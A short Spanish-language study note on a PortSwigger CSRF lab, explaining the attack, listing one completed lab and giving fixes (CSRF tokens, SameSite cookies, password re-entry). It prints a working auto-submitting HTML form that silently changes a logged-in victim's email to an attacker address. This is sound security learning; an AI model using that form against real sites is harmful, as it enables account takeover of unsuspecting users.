PortSwigger · Cross-Site Request Forgery (CSRF)
Qué es
Si una acción importante (cambiar el email, la contraseña) solo depende de la cookie de sesión, puedo preparar una página que, al visitarla la víctima con la sesión abierta, envíe esa petición en su nombre. El navegador adjunta la cookie solo.
Labs completados
| # | Lab | Tipo |
|---|---|---|
| 1 | CSRF vulnerability with no defenses | CSRF |
Lo que me llevo
El cambio de email no tiene token ni comprobaciones. Basta con un formulario que se envía solo:
html
<form method="POST" action="https://VICTIMA/my-account/change-email">
<input type="hidden" name="email" value="atacante@ejemplo.com">
</form>
<script>document.forms[0].submit()</script>Cómo se arregla
- Token CSRF aleatorio por sesión, comprobado en el servidor.
- Cookies con
SameSite=LaxoStrict. - Pedir la contraseña actual para acciones sensibles.
